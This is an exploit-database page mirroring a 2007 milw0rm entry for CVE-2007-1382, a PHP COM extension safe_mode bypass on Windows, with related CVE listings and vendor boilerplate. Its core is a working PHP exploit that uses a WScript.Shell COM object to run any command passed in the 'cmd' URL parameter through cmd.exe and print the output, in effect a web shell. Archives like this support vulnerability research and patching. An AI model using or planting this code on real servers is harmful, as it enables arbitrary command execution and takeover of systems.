Lucene search
+L

PHP 'COM' Extensions - inconsistent Win32 'safe_mode' Bypass

🗓️ 07 Mar 2007 00:00:00Reported by anonymousType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

PHP COM extensions Win32 safe_mode bypass with inconsistent behavio

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2007-1382
10 Mar 200700:00
cve
cvelist
Cvelist
CVE-2007-1382
10 Mar 200700:00
cvelist
euvd
EUVD
EUVD-2007-1378
7 Oct 202500:30
euvd
nvd
NVD
CVE-2007-1382
10 Mar 200700:19
nvd
prion
Prion
Code injection
10 Mar 200700:19
prion
securityvulns
securityvulns
PHP COM extension safe_mode protection bypass
10 Mar 200700:00
securityvulns
<?php
   //PHP COM extensions (inconsistent Win32) safe_mode bypass

    $____suntzu = new COM("WScript.Shell");
    $____suntzu->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[cmd]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
    $____suntzoi=file("suntzoi.txt");
    for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

   // *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.

   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
?>

# milw0rm.com [2007-03-07]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2007 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.01613
33